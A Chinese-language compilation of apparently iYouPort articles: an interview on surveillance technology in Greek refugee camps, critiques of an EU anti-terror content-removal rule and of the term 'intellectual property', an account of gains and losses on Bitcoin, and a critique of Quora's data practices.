对待弱势群体、少数族裔和边缘社区的方式，体现了一个国家、一个机构的道德价值观。

冠状病毒大流行开启了监控技术的新时代，可以说，没有哪个群体比难民对此感受更深了。即使在大流行之前，难民们就已经集体接受了接触追踪、无人机和激光雷达追踪、以及面部识别等各种高新监视技术。自大流行以来，情况只是变得更糟。

要想了解这场大流行对难民的影响有多糟糕 —— 无论是在公民自由方面还是在病毒下的痛苦方面 —— 的一个缩影，希腊是一个绝对的典型。

- 在这里看到更详细的技术介绍《当您准备寻求庇护 …… 移民和难民需要注意的10大威胁》

希腊的难民营是欧洲最大的难民营之一，难民人口过多，水、食物和基本必需品都稀缺，而且一直处于严密的监控之下。研究人员说，世界各地用于收容难民的许多监视技术和新科技—— 尤其是实验性的、简陋的、低成本的技术—— 往往先在这些难民营中进行测试。

“某些已经被边缘化、被剥夺权利的社区被当作了小白鼠，但令人担心的是，所有这些技术都会针对更广泛的人群推出，并被常态化”，约克大学难民法实验室副主任佩特拉·莫尔纳（Petra Molnar）说。

莫尔纳在2020年前往莱斯博斯岛的希腊难民营，作为倡导组织欧洲数字权利（EDRi）的实况调查项目的一部分。她是在莫里亚难民营——当时欧洲最大的难民营 —— 被烧毁并迫使数千名难民搬迁后才到达那里的。自访问以来，她一直对专制技术的兴起以及如何利用这些技术来对付无权无势的人们密切关注。

由于病毒仍在肆虐，各国比以往任何时候都更急于控制疫情，因此，现在似乎是讨论难民营中监控的用途和影响的好时机。莫尔纳仍在希腊，并计划在希腊第二次封锁解除后继续访问难民营，她向 OneZero 讲述了她在那里看到的各种监控技术的部署，以及未来的前景——尤其是欧洲边境和海岸警卫局，莫尔纳说，“他们一直在把希腊作为各种空中监控技术的试验场。”

为了清晰起见，本次采访经过编辑和压缩。

OneZero：你在难民营中看到了什么样的监控手法和技术？

Petra Molnar: 就在莫里亚难民营被烧毁之后数千人流离失所，被送往一个新的营地。我们基本上见证了 Kara Tepes 营地的诞生，一个新的隔离中心，并与人们谈论了监控，以及这场特殊的悲剧如何被用作一个新的借口，带来更多的老大哥技术，更多的监控。希腊政府正在… 基本上将冠状病毒武器化，以此为借口封锁营地，使其无法被进行任何研究。

当你在莱斯博斯岛的时候，很明显能体会到，这里是一个试验场，在这个意义上，科技的使用是相当初级的—— 我们不是在谈论热成像仪、虹膜扫描之类的东西，但是希腊政府探索使用科技的欲望在明显增加，特别是当他们试图控制大量的人群和来自爱琴海的大量难民时。对于很多这些技术来说都处于初级阶段，但一切都指向希腊是欧洲的试验场。

他们正在谈论将生物识别控制带入难民营，但我们知道，比如希腊海

岸警卫队有一架无人机，他们一直在用它进行自我宣传，现在他们已经用它来跟踪离开和进入难民营的任何人。我不确定无人机的使用是否仅限于在难民离开营地后继续跟踪他们，但由于封锁，无法核实。OneZero 曾接触到一位当地的消息人士，他证实在封锁期间，难民营内也在使用无人机监控难民。

另外，人们可以去商店买东西，但他们必须在门口登记，接受检查，我们不知道监视者将如何使用这些数据以及用于什么目的。

O：早在大流行之前，就已经对难民进行了监控；我们现在看到的更广泛部署的政策和监视技术，是以何种方式将难民当作小白鼠的？又有哪些最糟糕的例子说明欧洲对难民采用了专制技术？

PM：我们看到的最恶劣的例子是那个命运多舛的试点项目—— A.I. 测谎仪和风险评分，其本质上是试图利用面部识别和面部表情的细节来确定一个人是否比其他人更有可能撒谎。幸运的是，这项技术所基于的伪科学被揭穿了，也引起了很多关于使用这种东西的道德和人权影响的争论。

- 在这里看到这种技术的使用《虚拟警察测谎仪：旅行者的新麻烦》

德国已经使用语音打印等技术试图追踪一个人的原籍国或种族，面部识别进入了新的《移民公约》，希腊也在考虑对难民进行自动分流，所以在欧盟层面和全球范围内都有使用这种技术的欲望。我认为2021年将非常可怕，因为更多的资源被转移到这些类型的监视技术上。

我们看到，就在大流行开始的时候，用于人口建模的移民数据成为了一种合作，并用于尝试模拟病毒传播的流动。这是很有问题的，因为他们假设流动人口、移民和难民更有可能带来冠状病毒和疾病 —— 但数字并不能证明这一点。我们也看到了所有这些数据库的海量数据收集，欧洲正在使用或将使用这些数据库进行各种边境执法，甚至一般的维稳工作。

我们担心的是，恐惧正在被武器化。围绕着流行病和监视追踪技术，如移动跟踪和数据收集，被用来作为控制人的方式。这也是更广泛的，它涉及到一种围绕移民的语话，限制人们的移居权利。我们担心的是，这将为进一步、更广泛地推出这种针对普通民众的监视技术打开大门。

O：你见过的最具侵略性的监视技术有哪些？你是否担心这些专制技

术会继续扩大，而不仅仅是用在难民营？

PM：在希腊，现在使用的最有侵犯性的技术可能会是无人机和无人驾驶的监控技术，因为在那种人们从土耳其长途跋涉过来试图申请庇护的地区，这是一种非常容易被非人性化的监视方式。也有尝试面部识别技术的欲望。

这显示出这些技术有多么危险，因为它们方便了推诿、边境执法和把人赶走，而且它真正扮演了这样的角色：当你看到一艘船在爱琴海或地中海遇险时，你希望发生的不是人性化的反应，而是现在这样转向无人机和整个监控系统。这凸显了这个过程中的人性是如何丧失的。

而这一切已经被正常化。现在使用无人机是如此的正常—— 一切都关于欧洲海岸的治安，希腊是一个挡箭牌，要把使用侵入性的监控技术正常化。我们很多人对扩大 Frontex [欧洲边境和海岸警卫局]的行动范围、任务和权力的谈话感到担忧，以及它完全缺乏问责制 ——很明显，像Frontex这样的实体要做欧洲最肮脏的工作。

当政府和公司谈论移民和难民时，有一种特殊的框架应用，经常将他们与ISIS联系起来，并使用轻浮的术语和短语来讨论严重的问题。我们担心的是，这种技术的使用将变得更加先进和高效。

O：关于联系人追踪应用是怎么回事—— 有没有强行给难民使用该技术的情况？

PM：我听说过难民有可能通过手机被追踪，但我无法确认。我宁愿不通过手机被国家监视，但这是我的特权，我可以做出选择。如果你住在难民营里，你就没什么选择了。难民营里的人往往觉得自己被迫提供手机的使用权，提供自己的电话号码等等。还有就是担心被追踪。了解追踪是如何进行的真的很难，不清楚他们是怎么做的。

除了联系人追踪，还有就是担心营地里提供的Wi-Fi连接。往往只有一个连接或一个特定的地方可以使用Wi-Fi，人们需要与家人、配偶、朋友联系，或者通过手机获取信息，有时是他们唯一的生命线。这是一个困难的情况，因为一方面，人们担心隐私和监视，但另一方面，你想给你的家人、配偶打电话，你只能通过那个Wi-Fi来实现，人们觉得他们不得不连接。他们必须依靠现有的东西，但人们担心，因为是当局提供的，所以没有人知道到底被收集了什么数据，也不知道自己是如何被偷窥和监控的。

O：我们如何对抗这种监控蠕变？

PM：这是一个很难的问题。我认为我们可以对抗其中一些监视的方法之一是知识，普及相关知识。了解正在发生的事，在不同的社区之间共享资源，让人们对这种系统性的监视方式有更广泛的了解，当涉及到这些技术的特殊用途时，利用社区本身产生的这种知识来推动监管和治理。

我们呼吁暂停或废除边境及周边地区的所有高风险技术，因为现在我们没有一个治理机制，也没有一个综合的区域或国际方式来监管这些监视技术的使用。

同时，我们在欧盟有一个通用数据保护条例，这是一个非常有力的保护数据和数据共享的工具，但是它并没有真正触及到监控、自动化、**A.I.**，所以法律真的是很落后。

打击A.I.的方法之一是让政策制定者了解这些技术的真正危害。我们说的是这种科技强化歧视和不平等的方式，以及它们对人的伤害有多大。

我们试图强调这种系统性的方法，将其视为一个相互关联的系统，在这个系统中，所有这些技术都在移民管理这种日益危险的方式中发挥作用。〇

How the Pandemic Turned Refugees Into ‘Guinea Pigs’ for Surveillance Tech 。

原文

马克龙与网络巨头合作建立大规模监视 - iYouPort

公私监控伙伴关系

「图」

「图」

在法国和德国的影响下发表的这篇案文正在利用“打击恐怖主义”为借口向每个托管服务提供商（而不仅仅是网络巨头）提交极其严格的义务，如下：

- 在一小时内将国家主管机关要求的所有内容移除（在法国，该部门将是警察局）;
- 有一个可以24/7响应审查请求的联系点;
- 在报告涉嫌“恐怖主义”的内容之前主动防止其传播; 如果提供者效率不高，国家主管部门可能会采取具体措施，包括监听所有内容。

从人力、技术和经济的角度来看，只有已经采用了这些措施的网络巨头（因为他们与欧洲警察局合作）才能完全履行这些义务：Google、Facebook 和 Twitter。其他参与者将别无选择，只能关闭他们的托管服务或（不太可能但同样严重）将其义务的执行外包给巨头。

该案文将国家权力（监视和审查）授权给少数私人和霸权行为者。但是，无法在影响评估的146页中解释这些义务如何在打击恐怖主义方面真正有效。

Google-Youtube 和其他网络巨头已经说服了政府，“中小型平台促成了恐怖主义激进化”，因此有必要将网络规则留给他们这些巨头。但是没有任何证据能支持巨头们的说法。政府甚至无耻地使用完全不合适的“机密信息论”来掩盖其缺乏的证据，并表明它完全不尊重任何民主辩论的想法。就是这样：谷歌说，不要争辩。

马克龙不关心破坏欧洲数字经济的任何问题。他只想要一个他可以在

欧洲大选期间（他的“中期选举”）展示的“安全文本”，以便与一部分担心恐怖主义的人调情。所谓的恐怖主义威胁被政治操纵了，将网络转变为了 GAFA 垄断，批准国家和网络巨头的合并，从而使针对所有人的在线交流的大规模监视和自动审查成为了理所当然。

Macron teams up with the Web giants to set up mass surveillance: the terrorist threat is manipulated to transform the Web into a GAFAMonopoly, to ratify the merger of the State and the Web giants, and thus to sanctify the mass surveillance and automated censorship of our online exchanges.

原文

为什么说“知识产权”只是一种愚蠢的委婉说辞 - iyouport

知识产权

【2019年1月8日存档】试图将知识运用到“财产”比喻中，使我们不再有真正的知识权制度所具有的灵活性和细微差别

知识产权”是一种意识形态负载的术语，只能通过说出来引起争论。该术语直到20世纪60年代才被广泛使用，当时它被世界知识产权组织采用，后者是一个后来在联合国机构中获得崇高地位的贸易机构。

WIPO 使用该术语的理由很容易理解：那些“财产被盗”的人在公众想象中比那些“监管垄断的轮廓受到了侵犯的工业实体”更加值得同情，后者曾经是谈论侵权行为的更常见方式，直到作为艺术术语的“知识产权”出现。

毕竟，财产在法律和习俗中是一个有用的、易于理解的概念，一个下注者可以在没有太多思考的情况下对此做出决定。

这是完全正确的—也正是为什么“知识产权”这个词根本上是一种危险的委婉语，它导致我们对知识进行各种错误的推理。关于知识的错误观念对任何试图向“知识经济”过渡的国家都是致命的。

从根本上说，我们称之为“知识产权”的东西只是知识—— 思想，文字，曲调，蓝图，标识符，秘密，数据库。这些东西在某些方面类似于财产：它可能是有价值的，有时您需要投入大量资金和劳动力来实现其价值。

但它在同样重要的方面也与财产不同。最重要的是，它本身并不是“排他性的”。如果你侵入我的公寓，我可以把你扔出去（把你从我家里排除）；如果你偷我的车，我可以把它拿回来（把你从我的车里排除）。但是一旦你听了我的歌、一旦你看完我的书，一旦你看到我的电影，我就无法控制这些东西了。除非来一轮电痉挛疗法，我无法

让你忘掉刚才读到的所有句子。

正是这种脱节使得知识产权中的“财产”如此麻烦。如果每个来过我家的人都拆走一块砖，我就会彻底疯掉。我会花所有时间去担心谁跨过了这道门槛，我会让他们在使用厕所之前签署各种侵入协议，等等。

但是有很多东西，即使它不属于财产也很有价值。例如，我的女儿出生于2008。她不是我的财产。但她对我来说非常有价值。如果你把她从我身边带走，罪行不会是“盗窃”；如果你伤害了她，也不会被认为“侵犯动产”。我们有一整套词汇和一套法律概念来处理人类生活所体现的价值。

更重要的是，即使她不是我的财产，我仍然对我女儿有法律认可的利益。她在某种意义上是“我的”，但她也属于许多其他实体—— 英国和加拿大政府，NHS，儿童保护服务，甚至她的大家庭—— 他们都可以声称在我女儿的性格、待遇和未来等各方面有利益。

试图将知识运用到“财产”比喻中，使我们不再有真正的知识权制度所具有的灵活性和细微差别。例如，事实不具有版权，因此不能说任何人“拥有”您的地址、社会保险号码或您的 ATM 卡的 PIN 码。然而，这些都是对你来说有很大利益的东西，这种利益可以而且应该受法律保护。

有大量的创作和事实不属于版权、商标、专利和构成知识产权的其他权利范围内，从食谱到电话簿到音乐混搭等所谓的“非法艺术”。这些作品不是属性—不应该被视为属性—但对于它们中的每一个来说，在整个生态系统中都有一个合法的利益。

我曾听说欧洲商业广播协会的 WIPO 代表称，鉴于他的成员在第二次世界大战迪耶普袭击60周年纪念仪式上所做的所有投资，他们应该有权拥有这个仪式。就像他们拥有电视剧或任何其他“创造性工作”一样。我立刻问他为什么“拥有者”应该是一些举着摄像头的富人—— 为什么不是那些海滩遇难者的家人呢？为什么不能是拥有海滩的人呢？为什么不是下令突袭的将军呢？谈到知识，“所有权”是没有意义的—— 很多人对迪耶普纪念活动的镜头感兴趣，但争辩说任何人“拥有”它都是荒谬的。

版权—包括其所有怪癖和例外—几个世纪以来，一直是试图解决知识独特特征的法律制度，而不是假装只是另一套财产治理规则。40年的“财产谈判”只是在所有权、盗窃和公平交易的难以处理的定位之间的无休止战争。

如果我们要在知识战争中实现持久和平，那么就应该把“财产”放在一边，是时候开始认识到知识—— 有价值的，珍贵的，昂贵的知识—— 不属于自己，不能被“拥有”。国家应该在短暂的思想领域规范我们的相对利益，但这种规定必须是关于知识本身的，而不是对财产制度的笨拙重制。

“Intellectual property” is a silly euphemism: The state should regulate our relative interests in the ephemeral realm of thought, but that regulation must be about knowledge, not a clumsy remake of the property system

原文

所谓的“知识产权”被宣传成了一种神话，但事实完全不是如此 - iyouport

知识产权

【2018年6月22日存档】认为加强知识产权促进创新是一个很大的错误。事实上完全相反。它只能使得国家依靠别人的创新。甚至以牺牲人的生命为代价。

Othoman Mellouk 博士是一位摩洛哥治疗倡导者，他从事知识产权和药物治疗已有十多年。他是国际治疗准备联盟（*ITPC*）的知识产权和获取药物主管，这是一个由艾滋病毒携带者组成的全球网络。*Mellouk* 博士的工作从抗击艾滋病协会开始，该协会一直站在摩洛哥应对艾滋病的前沿，并在该国引进第一批抗艾滋病仿制药。以下是对 *Mellouk* 的采访。

知识产权出口商和知识产权进口商具有不同的利益。出口知识产权的国家，无论是制药公司还是软件公司，都有意保护其在全国和全球范围内生产的产品，而那些进口它们的公司，有不同的利益集团，并制定适合其自身利益的政策。依赖他人知识产权的发展中国家希望在 TRIPS (与贸易有关的知识产权协定) 中制定最低限度的保障措施。现在，TRIPS 并不完美，但至少在保证知识产权权利人享有最低限度保护的同时，各国仍然有政策空间来调整国家法律与发展水平。

于是，美国和欧盟推行“TRIPS ＋”的严格知识产权制度并不令人惊讶，因为他们正在保护自己的行业。但最大的错误是，依赖他人知识产权的国家也适用于 **TRIPS**＋，因为它不利于他们。

这一切之所以发生是因为“知识产权促进创新”被宣传成了一个大神话。

认为加强知识产权促进创新是一个很大的错误。事实上完全相反。它只能使得国家依靠别人的创新。

创新依赖于许多其他方面 – 教育水平，研究投资，创造有助于创新的

知识基础设施等。而不仅仅是知识产权。另一个观点是“知识产权促进投资”，称其为能创造就业和增长。再次，这不是事实。但这是自由贸易协定谈判期间抛出的论点，更加错误。

以摩洛哥与美国之间的自由贸易协定为例。就知识产权而言，该协议有着严格的规定，已经存在了13年。但结果是什么？是导致美国向摩洛哥出口更多，美国在这13年中没有投入太多，也没有在摩洛哥创造就业。两份摩洛哥官方报告证明，这一自由贸易协定本身不平衡，摩洛哥不收益。但是，这种将知识产权与投资相联系的神话仍在继续。这是为了促进国家政策的转变。

我认为知识产权应该从国家角度看待，每个国家都应该制定适应其发展水平和需求的知识产权政策。政策制定者和政治家并不总是理解知识产权，而且普遍认为这是一个“坏与好”的问题。但这不是简单的道德问题或意识形态问题，它是善与恶。

摩洛哥接受了一切。我们接受了超过 20 年的扩大专利期限; 我们接受了药物的数据独占性; 我们接受了新药使用的专利; 我们接受了强制许可的限制，并且接受了售前审批和专利状态之间的联系。这至少是5个重要的 TRIPS 措施。这个协议被认为是史上最糟糕的之一。

药价是个大问题。我们没有任何相关影响的研究。这里的药品价格非常高，摩洛哥的一些药品价格高于欧洲。摩洛哥议会的一项研究提到了这一点，是的，所有这一切都发生在过去**13**年间。但是摩洛哥与美国之间的自由贸易协定仍然没有真正的影响研究。那就是问题所在。

各国在没有影响研究的情况下进行谈判。在这个条约的谈判进行的时候，我们要求政府对药物进行影响评估，但到目前为止仍没有完成。巴西和阿根廷已经完成了这种计算模型。

摩洛哥正在与欧盟谈判自由贸易协定。但是这一次，由于许多原因，谈判被阻止，因为许多人反对它，包括我们在获得负担得起的药品问题上。

政府现在愿意进行影响力研究。所以经验教训是13年后才学到的。我记得摩洛哥 – 美国 FTA 的那段时期。谈判在2004年开始时，没有人知道关于知识产权的任何事。我们正在和政治家和决策者交谈，他们都认为这是一件“好事”，它会增加投资，创造大量就业机会。但这一切都没有发生。为什么？

原因很简单：如果你保护人们的产品，他们为什么会在你的国家生产

呢？他们更愿意出口给你，你已经创建了基础设施来保护他们的产品。所以，强有力的知识产权保护和创新与投资之间没有明确的联系。

以美国等知识产权强国为例。关于被忽视疾病的研究在哪里？如果我们将创新置于制药行业之手，那么创新将与获得最大利润的东西联系在一起，创新与市场联系在一起。它还与您在研究中的投资额度，研究预算以及想要创新者需要建立的全新框架相关。

所以关键问题是，没有一个适合 IP 的尺度。每个国家都应该有适合自己发展水平的自己的具体知识产权制度。

公民社会能够并且也确实需要发挥重要作用，很可能会面临许多挑战。一个挑战就是媒体的关注度有限。事实上，并非每个记者都对这些问题感兴趣。有很多需要完善的能力建设。您需要更多的教育，关于专利滥用的公众意识，例如同一产品的专利如何扩大了垄断，您需要了解药品定价系统需要透明度、以及与利益相关方进行对话。

事情正在改变。今天，如果你与摩洛哥记者谈论自由贸易协定，你会听到很多人说这东西很危险。

这可并不总是如此的。在摩洛哥签署的第一个自由贸易协定期间，每个人都认为自由贸易协定很好。因此，公民社会有责任揭露这些滥用行为。我们可以看到变化。自摩洛哥与美国签署第一个自由贸易协定以来，舆论在过去的13年中发生了变化。

当然，挑战依然存在。知识产权的话题很复杂。让媒体被吸引到这样的主题里并不容易，除非它是像印度的诺华案件这样的具体案例。在具体案例中，不是关于理论的，而是关于十年后可能发生的事。

但是如果你在理论上说话，没有人会感兴趣。当我们谈判我们的第一个 FTA 时，那是2004年，我们甚至没有专利，从2006年开始。如果那时我们说2016年可能在市场上销售的一种药物将昂贵到无法承受，没有人会对此表现出兴趣。

在已经有药的地方动员媒体和舆论比较容易，有些人如果无法获得这种药物就会死亡。在摩洛哥，药品价格是一个大问题。约有 65% 的人口拥有保险，但即使你有保险，也没有能涵盖所有疾病。

艾滋病治疗是免费的，但艾滋病只是一个例外，在这里，我们有全球基金[艾滋病，结核和疟疾]支持这一成本。

但是没有全球性的丙型肝炎和癌症基金，问题是：如果没有全球基金，摩洛哥不再有资格获得全球基金援助，会发生什么？〇

原文

知识产权，而非知识产权垄断 - iyouport

知识产权

【2018年9月12日存档】如今对知识产权追求最为疯狂的几个国家中包括中国，你知道这意味着什么

错误使用的“专利“正在抑制创新，并且还带来了大量的游说和寻租。大多数专利不是为了产生商业价值，而是为了创造防御性的法律丛林，以防止潜在的竞争对手……

“我们今天拥有的版权法和专利法更像是知识产权垄断,而不是知识产权，”Brink Lindsey 和 Steven Teles 在他们最近出版的关于美国经济的书中写道。对作为创新及其传播障碍的知识产权过度保护的担忧并不新鲜。但是，由于知识已经成为经济活动和竞争优势的主要推动力，它们已经获得了更大的突破。

数字技术使基于软件资产（如算法和代码）的“ 无形经济 ” 得以实现，而不是建筑和机械等实物资产。在这种环境下，知识产权规则现在可以决定商业模式、重塑社会，因为它们决定了如何分享经济收益。

然而，今天的知识产权制度的主要特征是建立在一个非常不同的经济体上。例如，专利规则反映了长期以来的假设，即 强有力的保护为企业追求创新提供了必要的激励。事实上，Petra Moser 和 Heidi Williams 等人最近的研究发现，很少有证据表明专利促进了创新。相反，由于它们锁定了现有企业的优势并推高了新技术的成本，这种保护与较少的创新或后续的创新、较弱的扩散，和增强的市场集中度相关。在过去的几十年里，这导致了许多经济体的垄断力量增强，生产率增长放缓以及不平等加剧。

专利还带来了大量的游说和寻租。大多数专利不是为了产生商业价值，而是为了创造防御性的法律丛林，以防止潜在的竞争对手。随着系统的扩大，专利巨魔和诉讼飙升。专利巨魔的诉讼占美国所有知识产权侵权诉讼的五分之三以上，并且 1990 – 2010 年的经济损失估计就有 5000 亿美元。

要考虑的一组改革将侧重于改善制度流程，例如确保诉讼制度不会过分支持专利持有人。其他改革涉及专利本身，包括缩短专利条款，引入使用它或失去它的条款，以及制定更严格的标准，将专利限制在真正有意义的发明上。

成功的关键在于用一种可能更适合当今经济的差异化方法取代现有专利制度的“一刀切”方法 。专利通常具有 20 年的期限（版权保护期为 70 年以上）。但是，虽然相对较长的专利期可能适用于涉及长期和昂贵测试的制药创新，但对于大多数其他行业的案例来说，并不那么明确。例如，在数字技术和软件中，新的进步具有更短的孵化期，并且通常以递增的方式建立在先前的创新上，这意味着更短的专利术语才是适当的。

当然，如果监管机构确实决定为不同类型的创新量身定制专利，他们必须注意：不要过度使专利制度复杂化。找到正确的改革组合将不可避免地需要进行一些试验，以及仔细监测结果，以便进行必要的调整。

但设计正确的改革只是挑战的一部分：强大的既得利益将使改革在政治上变得更困难。幸运的是，几十年前专利制度改革的案例显示不可能难度更大了。如果该系统的维护者真正寻求促进创新，他们应该就应该欢迎这样的改革。

然而，专利并不是创新生态系统的唯一重要元素。政府还通过直接资助研究和发展、以及通过财政激励来促进创新。在这方面也同样需要采取行动。

政府资助研发的重点是为基础研究提供公共利益，这应该会能产生有益于整个经济的知识溢出效应。然而在美国，政府研发支出从 20 世纪 80 年代初的 GDP 的 1.2% 近年来下降了一半。这强调了振兴公共研究计划并确保广泛获取其发现的必要性。

此外，必须通过公平的方式向公司提供税收减免、赠款或奖励等，给私营部门的研发以激励的措施。专利改革可以在此补充，例如，禁止政府支持的研究专利，所有市场参与者都应该获得专利。

私营企业开发的许多突破性创新源于政府支持的研究。最近的例子包括谷歌的基本搜索算法，苹果智能手机的关键功能，甚至互联网本身。政府应该考虑如何让纳税人从公开支持的研究中获得这种有利可图的结果，尤其是补充公共研发预算。在这里，税收制度可以发挥重要作用。

更广泛地说，在日益知识密集化的经济中，公共政策应该寻求创新的民主化，以促进新思想的创造和传播，促进健康的竞争。这意味着改革应该朝着当下的知识产权制度的相反方向发展。■

原文

知识产权究竟应该是什么 - iyouport

知识产权

【2019年1月15日存档】这个词本身很可能存在问题，导致了理解偏误，从而出现了一系列其他问题。

将它称为知识产权已成为所有人共同的语言，但是其中最明显的问题就是人们会误会她就像常规财产一样，事实上区别很大。已经有很多人开始拒绝使用这个术语，但是它依旧是公共讨论的一部分。

在“财产”部分遇到麻烦的主要原因不仅在于它导致人们试图假装它就像有形的财产一样，并且，它会自动地影响人们对这个概念的看法。

“财产”和“财产权”的目的是更好地管理稀缺资源的分配。如果根本没有稀缺资源，那么整个财产的概念就不再有意义了。如果资源是无限的，那么谁拥有它就不再重要了，因为任何人都可以拥有它并且不会减少其他人的所有权。因此，“产权”的整个理由就消失了。

即使你购买了产权概念，看看产权史也能明白法律最终会被迫反映市场的现实。Tim Lee 刚刚将美国早期的产权与版权法进行了比较，注意到美国的产权如何根据使用情况而改变，而不是强迫每个人遵循就地规则。如果依赖这些法律的各种公司不承认他们所面临的现实，那么在“知识产权”方面也不难看出同样的情况。

但是，如果我们不想将其称为“知识产权”，那么它应该被称为什么呢？以下是人们抛出的一些竞争选项：

知识垄断：由经济学家 David Levine 和 Michele Boldrin 推广，他们有一本名为“反对知识分子垄断”的精彩著作（值得一读）。正如他们所指出的那样，专利和版权确实是垄断，而不是产权。事实上，请回忆，托马斯·杰斐逊和詹姆斯·麦迪逊在讨论宪法是否应该允许这种垄断时，究竟是如何提到这些概念的。

知识特权：这个正在由法律教授汤姆贝尔（Tom Bell）推广，他正在撰写一本同名书籍。虽然这很好，因为它保留了“IP”的标识，于是也

有点麻烦，需要一个非常详细的解释供任何人理解。因此，它可能会遇到很多困难。

虚构财产：这是另一个选项，目前已经在一些博客上越来越受欢迎。但它也有点麻烦，因为它可能是这其中最不准确的（也可能暗示了与版权或专利完全不同的东西）。它摆脱了”intellectual”部分的含义，并保持了财产的那一部分，即使在想象它的时候也是如此。但是，”intellectual”输出并不是虚构的，这是非常真实的。这并不意味着其财产，但想象中的财产可能会以完全不同的方式让人们失望。

其他：其他建议甚至不太常见，但如果只是简单的话，也应该被提及。Richard Stallman 建议使用强加的垄断特权（IMPs）和来自政府的合法强制垄断（GOLEMs），这些词很可爱，但……不太实用。有些人甚至试图将这一概念与“推动进步”的宪法条款更紧密地联系在一起—尽管如此，这实际上只涉及版权和专利。此外，你会再次遇到麻烦的问题。

以上都不是：对于上述任何一种方案，都是在解释一部分内容，并清楚地将每种不同的类型区分开了，而不是全部集中在一起。

最后，我认为没有一个最好的答案。我认为它具有特定于上下文的意义。但必须说过于自由地使用“知识产权”这个词肯定是个问题，因为它创造了一种思维模式和框架，这种框架对于专利、版权和商标所提供的权利类型来说并不准确。然而，所有其他选择也都有各自的问题。我倾向于认为，只要有可能，最好强调所讨论的特定类型（即专利，版权，商标等）。一般来说，由于常见的用法，我认为使用“知识产权”这一短语并不是因为人们知道你在说什么—— 而是我们应该小心不要以一种强化其财产概念的方式使用它，就像其他类型的财产那样。

I don’t think it’s bad to use the phrase “intellectual property” just so that people know what you’re talking about—but we should be careful to not use it in a way that reinforces the concept that it’s property just like other kinds of property.

原文

"我如何在比特币上赚到100万美元……然后再次变得一无所有" - iYouPort

其他

“我陷入了大肆宣传。然后泡沫爆裂了..”

「图」

「图」

直到2016年，我在伦敦经营一家广告公司。在我们的巅峰时期，我们非常成功；我有一个35人的团队，300万英镑的营业额和一个 Covent 花园办公室。当该机构被合并时，我决定投资比特币。

比特币是一种加密货币，一种电子现金，允许人们在没有银行或其他中介机构参与的情况下通过点对点网络进行支付或交易。这是一种廉价有效的转移资金或持有价值的方式，可以随时转换成英镑。在我的母亲被诊断出患有癌症之后，我曾经使用比特币在线为她支付治疗。

我还在2013年的投资中赚了一些钱：比特币很容易出现价值的剧烈波动。但在此之后市场似乎仍然可以稳定下来并继续运转，我认为这可能是我积攒储蓄的好方法。

起初我存了5000英镑。在2017年1月的时候，比特币大约价值600美元，所以我买了七八个，剩下的用在其他加密货币上。但是在接下来的几个星期里，我立即被大笔的钱迷住了—总共23,000英镑。我记得告诉别人，“我真的认为今年比特币的价值可能升至2000美元。”我无法预测它会达到10倍的峰值。到2017年春季中期，我的投资已经增加到大约30万美元，到了夏天，已经达到50万美元。

媒体对比特币的兴趣也一直在增长，朋友不断询问我是如何进入比特币市场的，所以我创建了一个Facebook小组，然后是一个网站，最后是一个专门讨论该主题的播客。随着兴奋的增加，越来越多的人参与进来，形成了泡沫的条件；虽然我们中许多人都被警告过要谨慎行事。

「图」

「图」

在2017年底，比特币已经达到近2万美元，我的投资组合已经膨胀到约120万美元。

那就是我完全失控的时候。我一直都是一名企业家，自从我还是个孩子以来，一直梦想着购买当地的足球俱乐部，成为董事长，并让球队进入联盟。我认为该项目可能花费500万英镑，所以这就是我决定瞄准的数字。我估计可以在六个月内赚到这个数字。

那时我正在世界各地为我的播客做采访，带朋友去昂贵的餐馆，为我的家人购买奢侈的礼物。我不是那种将未来放在一边的人，虽然我向当地医院捐了6,000英镑，但我的大部分开支都相当无聊。买一些房子可能更明智，但我变得过于雄心勃勃。这感觉就像实现童年梦想一样。

在2018年1月底，泡沫破灭了，比特币价值突然下跌。

2017年已经有了一些下降，但它后来又反弹了，所以我并不太担心。但在今年剩下的时间里，我看到它变得越来越低，连同我投入的其他加密货币一起下跌，而我一直拒绝抛售。而比特币的价值继续下跌。我才刚建立起来的所有东西都被摧毁了。

有很多人比我投入的资金多得多，最终损失更大。我多么希望自己在泡沫爆发之前已经把所有东西拿走了，但是我不会在遗憾上浪费太多时间。

我过去通过努力赚了钱，享受了很多。目前，我正在享受我的播客，它提供了足够的钱可以支付生活。我已售出了大部分比特币，目前价值约为4,000美元，以便在业务变差的月份为我提供缓冲。但如果我不得不在120万美元和播客之间做出选择，我可能会再次选择钱—我喜欢我现在所做的事情。

我仍然相信比特币是一种善的力量。我最近采访了人权基金会的 Alex Gladstein，他正在解释比特币如何帮助生活在专制政权中的人们获得自由—例如，不被允许开设银行账户的阿富汗妇女仍可以工作并获得比特币报酬。这是朝着正确方向迈出的一步。我现在主要关注的是探索比特币如何帮助稳定日益动荡的世界。

“I got caught up in the hype. Then the bubble burst …I kept

thinking, there’s no point selling now…” “How I Made $1 Million On Bitcoin… And Lost It All Again”

原文

为什么你永远不应该使用 Quora - iYouPort

其他

最近，Quora 宣布有 1 亿用户帐户遭到入侵，其中所涉及的包括私人活动信息如 downvotes 和直接消息，被“恶意第三方入侵”。

数据泄露是每个在线服务生命周期中最令人沮丧的一部分—随着它们越来越受欢迎，它们也正在成为越来越大的目标。几乎所有主要的在线服务都存在安全漏洞：Facebook，谷歌，Twitter，雅虎，Tumblr，Uber，Evernote，eBay，Adobe，Target 和索尼都在过去几年中广泛泄露了用户数据。

「图」

「图」

像这样的安全漏洞是使用密码管理器的有力论据，但不是一个令人信服的理由来避免你喜欢的服务，除非你打算完全退出互联网。

但是，这似乎是一个提醒你为什么永远不要使用 Quora 的好时机。不只有泄漏问题。

四年前，Eric Mill 指出了关于 Quora 囤积知识的倾向，并且此后一切都没有改变。

根据该公司的关于页面，“Quora 的使命是分享和发展世界的知识”。到目前为止，每月有3亿用户和近 4000 万问题，他们在增长世界知识方面做得很好，但是在分享知识方面很糟糕。

Quora 的所有价值都来自其用户提供的答案，他们竭尽全力为查找和回复问题打造精心设计的平台。

但是他们竭尽所能确保你不能把这些贡献搬出去。

Quora：

- 没有公共 API。
- 没有备份或导出工具。
- 在没有帐户的情况下限制访问答案。
- 阻止了数据刮刀和非官方 API。

它与竞争对手如 Stack Overflow 和 Stack Exchange 相比差远了，它们都提供了API，丰富的用户自制工具和支持社区，一个用于查询和导出数据的强大资源管理器，它们甚至根据知识共享许可，主动将所有用户提供的内容的匿名数据转储上传到 Internet Archive 以供后来使用。甚至 Ask MetaFilter 都可以让你导出历史记录，这可是一个用户亲手创建的信息。

Quora 几乎没有任何作用，互联网档案馆可以积极保护未来数百万用户的工作，但他们选择将其网站排除在存档之外。

